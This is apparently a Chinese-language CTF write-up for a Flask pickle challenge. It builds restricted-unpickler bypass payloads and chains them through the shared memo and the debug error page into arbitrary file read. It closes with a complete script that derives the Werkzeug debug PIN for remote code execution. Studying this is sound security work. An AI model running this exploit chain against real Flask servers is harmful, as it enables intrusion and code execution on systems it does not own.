题目被设计成一个类似于闯关的模型，先顺着它的思路往下看。

一直点就能到达 challenge 1 处，从报错信息得到部分源代码：

```
form = {n: bytes.fromhex(r) for n, r in request.form.items()}
pickle = RestrictedUnpickler()

if (chall_str:=form.get('chall1')) is not None:
  if len(chall_str) > 11 or not isascii(chall_str, set(string.printable)):
    failed('Do your planning and prepare your fields before building your house')
  b = pickle.loads(chall_str)
  if type(b) is not bool or not b:
    failed('Lies last only a moment, but the truth lasts forever')
  chall_num, chall_pass, chall_ord = 2, True, 'first'
```

限制了**提交的长度**，**字符集类型**，最后进了 `pickle.loads()` 并**判断返回值。**

先试几手，比如随便提交个特殊符号，得到 `validate()` 源代码：

```
@app.before_request
def validate():
  for c in ['#', '..', './']:
    if c in request.full_path:
      failed('Suspicious characters are strictly prohibited')
  for r in request.form.values():
    v = bytes.fromhex(r)
    for b in [b'R', b'i', b'o', b'b', b'flag', b'`', b'_', b'\x81']:
      if b in v:
        failed('Suspicious characters are strictly prohibited')
```

发现 GET **过滤**了 `..` 等，而 POST **过滤**了喜闻乐见的 `R i o b` 等，封锁了一些常见的简单漏洞。

首先尝试通过 challenge 1，分析题目默认提供的 payload `4930300a2e`：

```
>>> pickletools.dis(bytes.fromhex('4930300a2e'))
    0: I    INT        False
    4: .    STOP
highest protocol among opcodes = 0
```

发现仅需把返回值**改为 True**，也就是 `b'I01\n.'` ，提交 `4930310a2e` 即可。

到达 challenge 2 处，从报错信息得到部分源代码：

```
if (chall_str:=form.get('chall2')) is not None:
  if len(chall_str) > 22 or not isascii(chall_str, set(string.printable)):
    failed('By failing to prepare, you are preparing to fail')
  user = pickle.loads(chall_str)
  if type(user) is not dict or user.get('user') != 'admin':
    failed('Trust in the LORD with all your heart and lean not on your own
understanding; in all your ways submit to him, and he will make your paths straight')
  chall_num, chall_pass, chall_ord = 3, True, 'second'
```

限制了提交的长度，字符集类型，最后同样进了 `pickle.loads` 并判断返回值。

分析题目默认提供的 payload `286456757365720a5667756573740a732e`：

```
>>> pickletools.dis(bytes.fromhex('286456757365720a5667756573740a732e'))
    0: (    MARK
    1: d        DICT       (MARK at 0)
    2: V    UNICODE    'user'
    8: V    UNICODE    'guest'
   15: s    SETITEM
   16: .    STOP
highest protocol among opcodes = 0
```

发现仅需把 `'guest'` 改为 `'admin'`，但同时注意到 `i` 会被 waf 拦截下来，**使用** `\u0069` **绕过**即可。

得到 `b'(dVuser\nVadm\\u0069n\ns.'`，提交 `286456757365720a5661646d5c75303036396e0a732e`。

到达 challenge 3 处，从报错信息得到部分源代码：

```
if (chall_str:=form.get('chall3')) is not None:
  if len(chall_str) > 153 or not isascii(chall_str, set(string.printable)):
    failed('In the wilderness prepare the way for the LORD; make straight in the desert
a highway for our God')
  global guidance; guidance = {'direction': urandom(64)}
  myway = pickle.loads(chall_str)
  if type(myway) is not dict or myway.get('direction') != guidance['direction']:
    failed('Every valley shall be raised up, every mountain and hill made low; the
rough ground shall become level, the rugged places a plain')
  chall_num, chall_pass, chall_ord = 4, True, 'third'
```

可以发现需要在 pickle 中引入 `__main__.guidance` 以绕过限制，题目默认提供的 payload 是常规的：

```
>>> pickletools.dis(bytes.fromhex('286456645c753030363972......'))

    0: (    MARK
    1: d        DICT       (MARK at 0)
    2: V    UNICODE    'direction'
   28: V    UNICODE    'lost'
   39: s    SETITEM
   40: .    STOP
highest protocol among opcodes = 0
```

注意到 `_` 会被拦截，先试着随意使用 `c` **(GLOBAL) 字节指令**爆出 `RestrictedUnpickler()` 的部分源代码：

```
def find_class(self, module, name):
  safe_builtins =
{'range','complex','set','frozenset','slice','filter','str','bytes','map','dict','list'
}
  module, name = module.lower(), name.lower()
  if module == "builtins" and name in safe_builtins:
    return getattr(sys.modules["builtins"], name)
  if module == "main" and '.' not in name and '__' not in name:
    return getattr(sys.modules["__main__"], name)
  raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
```

其中 `builtins` 为白名单控制， `__main__` 可以任意导入，且均经过 `.lower()` 处理。

也就是控制**模块名为** `maIn` 就可以在不触发 waf 的前提下引入 `__main__` ； 变量 `guIdance` 同理。

得到 `b'cmaIn\nguIdance\n.'` ，即提交 payload `636d61496e0a67754964616e63650a2e` 。

到达 challenge 4 处，从报错信息得到部分源代码：

```
if (chall_str:=form.get('chall4')) is not None:
  if len(chall_str) > 154 or not notascii(chall_str, set(string.printable)-
set('.'+string.ascii_lowercase)):
    failed('The Lord is near to those who are discouraged; he saves those who have lost
all hope')
  b = pickle.loads(chall_str)
  if type(b) is not bool or not b:
    failed('Sincerity and truth are what you require; fill my mind with your wisdom')
  chall_num, chall_pass, chall_ord = 5, True, 'fourth'
  return render_template('chall_end.html', chall_num=chall_num, chall_ord=chall_ord)
```

前面都是判断 `isascii()` ，而本次判断 `notascii()` ，并允许了 `.` 和小写字母。

同样的，先分析题目默认提供的 payload `8004892e` ：

```
>>> pickletools.dis(bytes.fromhex('8004892e'))
    0: \x80 PROTO      4
    2: \x89 NEWFALSE
    3: .    STOP
highest protocol among opcodes = 2
```

更简单了，直接 `pickle.dumps()` 构造或者查看 pickle 的源代码：

```
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
```

改为 `b'\x80\x04\x88.'` ，即提交 `8004882e` 即可。

然后会发现 challenge 结束了，**没有 flag** 。

可以在结束页面的源代码中发现 `/static/hint.txt` ，或者在 `failed()` 报错信息中发现 `/static/` **路由**：

```
@app.route('/static/<path:file>', methods=('GET',))
def raw_file(file):
  with open('./static/' + file, 'r') as f:
    return f.read()

def failed(msg: str):
  raise TryHarder(msg)
```

终于明白为什么 waf 要拦截 `..` 了，就当前的限制而言，目录穿越是不可能的。

尝试综合一下所有功能：**Flask**、**debug mode**、**文件读取**、**pickle.loads**；不知是否有这样一条路浮现出来：

`pickle.loads() --> raw_file() (BYPASS WAF) --> debug pin --> RCE`

虽然其中许多细节尚不明确，但这些正是接下来需要探索的方向。

一个问题，如何获得 `raw_file()` 的回显？ 代码中没有任何显示出 `pickle.loads()` 返回值的部分；

注意到 debug mode 开启，而 `failed()` 正是用来**报错**的函数，改为调用 `failed(raw_file())` 即可。

一个问题，`pickle.loads()` 如何执行函数？其中 `R i o b  NEWOBJ = b'\x81'` 已被过滤；

注意到 `NEWOBJ_EX = b'\x92'` **未被过滤**，可以仿照 `NEWOBJ` 的方法执行函数，观察其源代码：

```
def load_newobj_ex(self):
  kwargs = self.stack.pop()
  args = self.stack.pop()
  cls = self.stack.pop()
  obj = cls.__new__(cls, *args, **kwargs)
  self.append(obj)
dispatch[NEWOBJ_EX[0]] = load_newobj_ex
```

根据 `find_class()` 的 `builtins` 白名单 `{'range','complex','set','frozenset','slice','filter','str','bytes','map','dict','list'}`，从众多的选项中慎重地选出了一个：

```
>>> frozenset.__new__(frozenset, map.__new__(map, eval, ('123+456',)))
frozenset({579})
```

使用 **map** 而非 filter 因为前者能返回执行的结果，使用 **frozenset** 因为其能触发 `__next__()` 并调用函数。

最关键的问题，前三个 challenge 限制 `isascii()`，而第四个 challenge 限制 `notascii()`，如何绕过？

很明显 `NEWOBJ_EX` 无法出现在前三个中，而仅用小写字母无法在第四个中构造出可利用的字符串，因为此时仅有 `STACK_GLOBAL = b'\x93'` 可以用来引入变量，而被压入的字符串无法像 `V` 或 `S` 字节指令一样绕过 waf。

为看清问题的全貌，随意使用一些非法的字节序列还原出 `RestrictedUnpickler().loads()` 的部分源代码：

```
def loads(self, s: bytes):
  file = io.BytesIO(s)
  self._file_readline = file.readline
  self._file_read = file.read
  return super().load()
```

注意到并不是每次都生成新的 `pickle._Unpickler` 实例，而是更改了某些必须的参数并**复用**了当前实例。

查看 pickle.py 源代码：

```
class _Unpickler:
  def __init__(self, file, *, fix_imports=True,
               encoding="ASCII", errors="strict", buffers=None):
    self._buffers = iter(buffers) if buffers is not None else None
    self._file_readline = file.readline
    self._file_read = file.read
    self.memo = {}
    self.encoding = encoding
    self.errors = errors
    self.proto = 0
    self.fix_imports = fix_imports
 def load(self):
    # ......
    self.metastack = []
    self.stack = []
    self.append = self.stack.append
    self.proto = 0
    read = self.read
    dispatch = self.dispatch
    try:
      while True:
        key = read(1)
        if not key:
          raise EOFError
        assert isinstance(key, bytes_types)
        dispatch[key[0]](self)
    except _Stop as stopinst:
      return stopinst.value
```

注意到 `self.stack` 在每次 `load()` 时被重新创建，而 `self.memo` **仅在实例化对象时被清空了一次**；

再看 `/chall` 路由的主要代码，发现四个 challenge 确实同时使用了 `pickle = RestrictedUnpickler()` 这一个实例，也就是说 `self.memo` 在这四个 challenge 中是会**保留**的，且不同 challenge 可以在同一请求内被按顺序依次执行（只要有 chall{id} 这个参数）；于是利用 `self.memo` **传递数据**，在前三个 challenge 中利用各种方法绕过 waf 创建非法字符串并存进 `self.memo` 中，在第四个 challenge 中取出以 `NEWOBJ_EX` 执行函数。

分析得出需要 `builtins map frozenset main failed raw_file ../../filepath` 这几个字符串，前两个 challenge 提交**长度限制**过紧，故在 challenge 3 中构造 `BuIltIns frOzenset maIn faIled raw\\uOO5ffIle ../../filepath` 并依次存入 `self.memo`，最后不忘满足 challenge 3 的通关条件：

```
    0: V    UNICODE    'BuIltIns'
   10: p    PUT        0
   13: V    UNICODE    'frOzenset'
   24: p    PUT        2
   27: V    UNICODE    'maIn'
   33: p    PUT        3
   36: V    UNICODE    'faIled'
   44: p    PUT        4
```

```
   47: V    UNICODE    'raw_fIle' # raw\\u005ffIle
   62: p    PUT        5
   65: S    STRING     '../../proc/sys/kernel/random/boot_id'
               # '../../pr\\x6fc/sys/kernel/rand\\x6fm/\\x62\\x6f\\x6ft\\x5f\\x69d'
  126: p    PUT        6
  129: }    EMPTY_DICT
  130: p    PUT        7
  133: c    GLOBAL     'maIn guIdance'
  148: .    STOP
highest protocol among opcodes = 1
```

这里以获取 debug pin 需要读取的最长的文件名 `../../proc/sys/kernel/random/boot_id` 为例，可以发现 150 的字符限制还是很吃紧的。采用的优化措施包括：**map 完全合法**，故放到 challenge 4 中构造；直接使用 `c` (GLOBAL) 字节指令引入后再放入 `self.memo` 会显著地超出允许的提交长度，故**仅存储字符串**；在没有转义的情况下，使用 `V` 字节指令引入字符串比 `S` **节省 1 字节**；在有多个转义的情况下，使用 `\\xCC` + `S` 字节指令引入字符串比使用 `\\u00CC` + `V` **节省多个字节。**

同时注意到，作为 `NEWOBJ_EX` 参数的 `**kwargs` 无法使用非 ascii 字符构造，故还需要提前**存储一个空 dict。**

而 challenge 4 就不需要这么紧张了：

```
memo = {
  0: 'BuIltIns',
  2: 'frOzenset',
  3: 'maIn',
  4: 'faIled',
  5: 'raw_fIle',
  6: '../../proc/sys/kernel/random/boot_id',
  7: {},
}

    0: \x8c SHORT_BINUNICODE 'map'
    5: q    BINPUT     1
# memo.update(1, 'map')
    7: h    BINGET     0
# stack: ['BuIntIns']
    9: h    BINGET     2
# stack: ['BuIntIns', 'frOzenset']
   11: \x93 STACK_GLOBAL
# stack: [class<frozenset>]
   12: h    BINGET     0
   14: h    BINGET     1
   16: \x93 STACK_GLOBAL
# stack: [class<frozenset>, class<map>]
   17: h    BINGET     3
   19: h    BINGET     4
   21: \x93 STACK_GLOBAL
# stack: [class<frozenset>, class<map>, function<failed>]
   22: h    BINGET     0
   24: h    BINGET     2
   26: \x93 STACK_GLOBAL
# stack: [class<frozenset>, class<map>, function<failed>, class<frozenset>]
   27: h    BINGET     0
```

```
   29: h    BINGET     1
   31: \x93 STACK_GLOBAL
# stack: [class<frozenset>, class<map>, function<failed>, class<frozenset>, class<map>]
   32: h    BINGET     3
   34: h    BINGET     5
   36: \x93 STACK_GLOBAL
# stack: [...(4), class<map>, function<raw_file>]
   37: h    BINGET     6
# stack: [...(4), class<map>, function<raw_file>, 'filepath']
   39: \x85 TUPLE1
# stack: [...(4), class<map>, function<raw_file>, ('filepath',)]
   40: \x86 TUPLE2
# stack: [...(4), class<map>, (function<raw_file>, ('filepath',),)]
   41: h    BINGET     7
# stack: [...(4), class<map>, (function<raw_file>, ('filepath',),), {}]
   43: \x92 NEWOBJ_EX
# stack: [...(3), class<frozenset>, class<map>()]
   44: \x85 TUPLE1
# stack: [...(3), class<frozenset>, (class<map>(),)]
   45: h    BINGET     7
# stack: [...(3), class<frozenset>, (class<map>(),), {}]
   47: \x92 NEWOBJ_EX
# stack: [class<frozenset>, class<map>, function<failed>, class<frozenset>('content')]
   48: \x85 TUPLE1
# stack: [class<frozenset>, class<map>, function<failed>, (...('content'),)]
   49: \x86 TUPLE2
# stack: [class<frozenset>, class<map>, (function<failed>, (...('content'),),)]
   50: h    BINGET     7
# stack: [class<frozenset>, class<map>, (function<failed>, (...('content'),),), {}]
   52: \x92 NEWOBJ_EX
# stack: [class<frozenset>, class<map>()]
   53: \x85 TUPLE1
# stack: [class<frozenset>, (class<map>(),)]
   54: h    BINGET     7
# stack: [class<frozenset>, (class<map>(),), {}]
   56: \x92 NEWOBJ_EX    # <------< exception TryHarder() is raised here <------<
# stack: [class<frozenset>(failed())]
   57: \x80 PROTO      4
   59: \x88 NEWTRUE
   60: .    STOP
highest protocol among opcodes = 4
```

在 `http://web:8888/chall` 处提交如上的 `chall3={c3.hex()}&chall4={c4.hex()}` 即可读取任意文件。

最后，仅需读取 `/sys/class/net/eth0/address` `/proc/sys/kernel/random/boot_id` `/proc/self/cgroup` 这三个文件，并使用默认值 `'nobody'` `'flask.app'` `'Flask'` `'/usr/local/lib/python3.11/site-packages/flask/app.py'`，即可计算出 **debug pin**，完成 **RCE**。

以下为获取 debug pin 的 payload：（至于之后的 RCE + /readflag 过程，就不需要赘述了吧？）

```python
import string
import struct
import requests
```

```python
url = 'http://web:8888/chall'

# ;
def POP():
  return b'0'

def TO_MEMO(i: int):
  return b'p' + str(i).encode() + b'\n'

def PUSH_STRV(s: str):
  return b'V' + s.encode() + b'\n'

def PUSH_STRS(s: str):
  return b'S\'' + s.encode() + b'\'\n'

def EMPTY_DICT():
  return b'}'

# ;

def FROM_MEMO(i: int):
  assert(i < 0xFF and chr(i) not in string.printable)
  return b'h' + bytes([i])

def nTO_MEMO(i: int):
  assert(i < 0xFF and chr(i) not in string.printable)
  return b'q' + bytes([i])

def nPUSH_STR(s: str):
  return b'\x8c' + bytes([len(s.encode())]) + s.encode()

def GLOBAL():
  return b'\x93'

def NEWOBJ():
  return b'\x92'

def BTUPLE(i: int):
  match i:
    case 1: return b'\x85'
    case 2: return b'\x86'
    case 3: return b'\x87'
    case _: assert(False)
# ;

o1 = b'I01\n.'
o2 = b'(dVuser\nVadm\\u0069n\ns.'
o3 = b'cmaIn\nguIdance\n.'
o4 = b'\x80\x04\x88.'

def getfile(file: str):
  file = file.replace('i', '\\x69').replace('o', '\\x6f')
```

```
            .replace('b', '\\x62').replace('_', '\\x5f')
  # ;
  c3 = b''
  fmsv = lambda s, i: PUSH_STRV(s) + TO_MEMO(i) #+ POP()
  fmss = lambda s, i: PUSH_STRS(s) + TO_MEMO(i) #+ POP()
  c3 += fmsv('BuIltIns',       0)
  #c3 += fmsv('map',            1)
  c3 += fmsv('frOzenset',      2)
  c3 += fmsv('maIn',           3)
  c3 += fmsv('faIled',         4)
  c3 += fmsv('raw\\u005ffIle', 5)
  c3 += fmss('../..' + file,   6)
  c3 += EMPTY_DICT() + TO_MEMO(7) #+ POP()
  c3 += o3 # be stingy with total length
  assert(len(c3) <= 150)
  # ;
  c4 = b''
  nfms = lambda s, i: nPUSH_STR(s) + nTO_MEMO(i)
  c4 += nfms('map',            1)
  fmc = lambda m, n: FROM_MEMO(m) + FROM_MEMO(n) + GLOBAL()
  c4 += fmc(0, 2) + fmc(0, 1)
  c4 += fmc(3, 4) # -->
  c4 += fmc(0, 2) + fmc(0, 1)
  c4 += fmc(3, 5) + FROM_MEMO(6) + BTUPLE(1) + BTUPLE(2) + FROM_MEMO(7)
  c4 += NEWOBJ() + BTUPLE(1) + FROM_MEMO(7)
  c4 += NEWOBJ() # <--
  c4 += BTUPLE(1) + BTUPLE(2) + FROM_MEMO(7)
  c4 += NEWOBJ() + BTUPLE(1) + FROM_MEMO(7)
  c4 += NEWOBJ()
  c4 += o4
  assert(len(c4) <= 200)
  # ;
  data = {'chall3': c3.hex(), 'chall4': c4.hex()}
  res = requests.post(url, data)
  return res.text.split("frozenset({'")[1].split("'})")[0]

# ;
ppb = [
  'nobody',     # username,
  'flask.app',  # modname,
  'Flask',      # getattr(app, "__name__", type(app).__name__),
  '',           # getattr(mod, "__file__", None),
]
pb = [
  '', # str(uuid.getnode()),
  '', # get_machine_id()
]
ppb[3] = '/usr/local/lib/python3.11/site-packages/flask/app.py'
pb[0] = getfile('/sys/class/net/eth0/address').split('\\n')[0]
pb[0] = str(int(pb[0].replace(':', ''), 16))
pb[1] = getfile('/proc/sys/kernel/random/boot_id').split('\\n')[0].strip()
pb[1] += getfile('/proc/self/cgroup').split('\\n')[0].strip().rpartition('/')[2]
print(ppb); print(pb)
```

```
def getpin():
  from itertools import chain
  import hashlib
  h = hashlib.sha1()
  for bit in chain(ppb, pb):
    if not bit:
      continue
    if isinstance(bit, str):
      bit = bit.encode("utf-8")
      h.update(bit)
  h.update(b"cookiesalt")
  h.update(b"pinsalt")
  num = f"{int(h.hexdigest(), 16):09d}"[:9]
  for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
      rv = "-".join(
        num[x : x + group_size].rjust(group_size, "0")
        for x in range(0, len(num), group_size)
      )
      break
    else:
      rv = num
  return rv

# ;
print('debug pin', getpin())
```